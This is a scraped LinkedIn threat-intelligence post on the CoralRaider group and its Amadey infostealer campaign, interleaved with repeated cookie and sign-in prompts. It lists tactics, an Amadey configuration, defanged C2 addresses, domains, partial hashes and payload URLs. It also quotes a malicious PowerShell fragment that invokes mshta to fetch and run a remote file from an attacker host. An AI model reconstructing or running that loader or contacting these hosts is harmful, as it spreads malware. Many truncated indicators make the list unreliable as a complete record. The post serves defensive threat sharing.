LinkedIn respects your privacy

LinkedIn and 3rd parties use essential and non-essential cookies to provide, secure, analyze and improve our Services, and to show you relevant ads (if you accept) on and off LinkedIn. Learn more in our Cookie Policy.

Select Accept to consent or Reject to decline non-essential cookies for this use. You can update your choices at any time in your settings.

Accept Reject

Agree & Join LinkedIn

By clicking Continue to join or sign in, you agree to LinkedIn's User Agreement, Privacy Policy, and Cookie Policy.

Sign in with Google

Use your Google Account to sign in to LinkedIn

No more passwords to remember. Signing in is fast, simple and secure.

Continue

Top Content

Idan Tarab's Po

Idan Tarab
1y · Edited

Create your free ac
search

Continue with Google

Sign in with Email

or

New to LinkedIn? Join now

By clicking Continue to join or sign in, you agree to LinkedIn's User Agreement, Privacy Policy, and Cookie Policy.

🚨- - -Attention - - -🚨
"APT CoralRaider Expa main Strategy"
#APT
#TTPS
#CoralRaider
#threat
#TA
#malware
#phishing
#infostealer
#Amadey
#Botnet
#IOC
#RE

🦅 Adversary TTPS: 🦅
---Sophisticated using of top-level domains (TLDs)---
#FTP Techniques: CoralRaider employs advanced FTP methods for discreet and efficient data transfer, enhancing stealth and minimizing detection risks.
[--Last campaigns based on CDN--]

#Domain Usage: The group utilizes both .pt (Portugal) and .ru (Russia) domains, shifting from previous Vietnamese infrastructure. This diverse domain use aids in evading detection and complicates attribution.

LinkedIn respects your privacy

LinkedIn and 3rd parties use essential and non-essential cookies to provide, secure, analyze and improve our Services, and to show you relevant ads (and measure the effectiveness of ads) on and off LinkedIn. Learn more in our Cookie Policy.

Select Accept to consent or Reject to decline non-essential cookies for this use. You can update your choices at any time in your settings.

Agree & Join LinkedIn

By clicking Continue to join or sign in, you agree to LinkedIn's User Agreement, Privacy Policy, and Cookie Policy.

.(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').
('PSChildName')hxxps://ftp[.]alphaglobal[.]pt/b[.]cod

🔫 .lnk #Dropper 🔫
"C:\Windows\system3

💉 c2: 💉
176[.]61[.]150[.]117:4
https://ftp[.]alphaglob

✂ Amadey_Config: ✂

Family amadey

Version 4.41

Botnet 41cd5f

#C2 hxxp://specifi

Attributes strings_key
7ddd79f3dbc40c57a6

rc4.plain e13a151

DNS:
smartkontur[.]site

DNS
dukastotranza[.]click

DNS
specificsecurity[.]ru

---IOc's:---
🔗 IP'S: 🔗

Sign in to view more content

Create your free account or sign in to continue your search

or

New to LinkedIn? Join now

By clicking Continue to join or sign in, you agree to LinkedIn's User Agreement, Privacy Policy, and Cookie Policy.

LinkedIn respects your privacy

LinkedIn and 3rd parties use essential and non-essential cookies to provide, secure, analyze and improve our Services, and to show you relevant ads (if you accept) on and off LinkedIn. Learn more in our Cookie Policy.

Select Accept to consent or Reject to decline non-essential cookies for this use. You can update your choices at any time in your settings.

Agree & Join LinkedIn

By clicking Continue to join or sign in, you agree to LinkedIn's User Agreement, Privacy Policy, and Cookie Policy.

specificsecurity[.]ru

Thanks for my partner

📌Ref:📌

rb.gy/dkapp5 -> Cisco-

---

rb.gy/5m0nxc -> Cisco

🔎 --More information

#phishing #phishingatt urity #phishingemails
#cyberthreats #datapr detection
#incidentresponse #ap threats #cybercrime
#threatactors #virustot #ethicalhacking
#intelligence #bluetea #cti #threatanalysis
#reverseengineering # #edr #malware
#cybersecurity #cybers securityresearch #cth
#secops #threatdetect
#infosec #cybernews # ence
#bleepingcomputer #th
BleepingComputer The ay Cisco Talos Cyber Security News ®

Sign in to view more content

Create your free account or sign in to continue your search

or

New to LinkedIn? Join now

By clicking Continue to join or sign in, you agree to LinkedIn's User Agreement, Privacy Policy, and Cookie Policy.

LinkedIn respects your privacy

LinkedIn and 3rd parties use essential and non-essential cookies to provide, secure, analyze and improve our Services, and to show you relevant ads (if you are not a member) on and off LinkedIn. Learn more in our Cookie Policy.

Select Accept to consent or Reject to decline non-essential cookies for this use. You can update your choices at any time in your settings.

Agree & Join LinkedIn

By clicking Continue to join or sign in, you agree to LinkedIn's User Agreement, Privacy Policy, and Cookie Policy.

IOc's:
Amadey: [a[.]ex

fb6b67e04cdd 2bacb6

HTA: [cod]

b48b6b38768 a1b7e68

XML PUNNY: "

1a085e14526 3e2421

lnk files:

a6d1a352c989 4cbac6eb - favorite[.]lnk

714182d73d5 6df97b5 - partnership[.]ln

Like · Rep

Idan Tarab 1y

uRL'S:

hxxps://ftp[.]alphaglobal[.]pt/b[.]cod

https://ftp[.]alphaglobal[.]pt/a[.]exe

http://specificsecurity[.]ru/NfjxzZz9jn/index[.]php

http://specificsecurity[.]ru/NfjxzZz9jn/index[.]php?scr=1

Sign in to view more content

Create your free account or sign in to continue your search

or

New to LinkedIn? Join now

By clicking Continue to join or sign in, you agree to LinkedIn's User Agreement, Privacy Policy, and Cookie Policy.

LinkedIn respects your privacy

LinkedIn and 3rd parties use essential and non-essential cookies to provide, secure, analyze and improve our Services, and to show [illegible] on and off LinkedIn. Learn more in our [illegible]

Select Accept to consent or Reject to [illegible] update your choices at any time in your [illegible]

Agree & Join LinkedIn

By clicking Continue to join or sign in, you agree to LinkedIn's User Agreement, Privacy Policy, and Cookie Policy.

Idan Tarab 1y

Like · Rep

Idan Tarab 1y

Like · Rep

Idan Tarab 1y

Like · Rep

Ariel Davidpur 1y

Very informativ

Keep rocking

Like · Rep

Amit Kassovitz 1y

👏👏

Like · Rep

Gal Jacobson 1y

This is thrilling! 👏

Like · Reply

Rotem Gafni 1y

Insightful!

Like · Reply

See more comments

Sign in to view more content

Create your free account or sign in to continue your search

or

New to LinkedIn? Join now

By clicking Continue to join or sign in, you agree to LinkedIn's User Agreement, Privacy Policy, and Cookie Policy.

LinkedIn respects your privacy

LinkedIn and 3rd parties use essential and non-essential cookies to provide, secure, analyze and improve our Services, and to show on and off LinkedIn. Learn more in our

Select Accept to consent or Reject to update your choices at any time in you

Agree & Join LinkedIn

By clicking Continue to join or sign in, you agree to LinkedIn's User Agreement, Privacy Policy, and Cookie Policy.

4,528 followers

71 Posts

View Profile +

Sign in to view more content

Create your free account or sign in to continue your search

or

New to LinkedIn? Join now

By clicking Continue to join or sign in, you agree to LinkedIn's User Agreement, Privacy Policy, and Cookie Policy.

Explore content

Career | Productivity | Project Management

Show more

© 2026

Accessibility | User Agreement | Privacy Policy | Cookie Policy | Copyright Policy | Brand Policy | Guest Controls | Community Guidelines | Language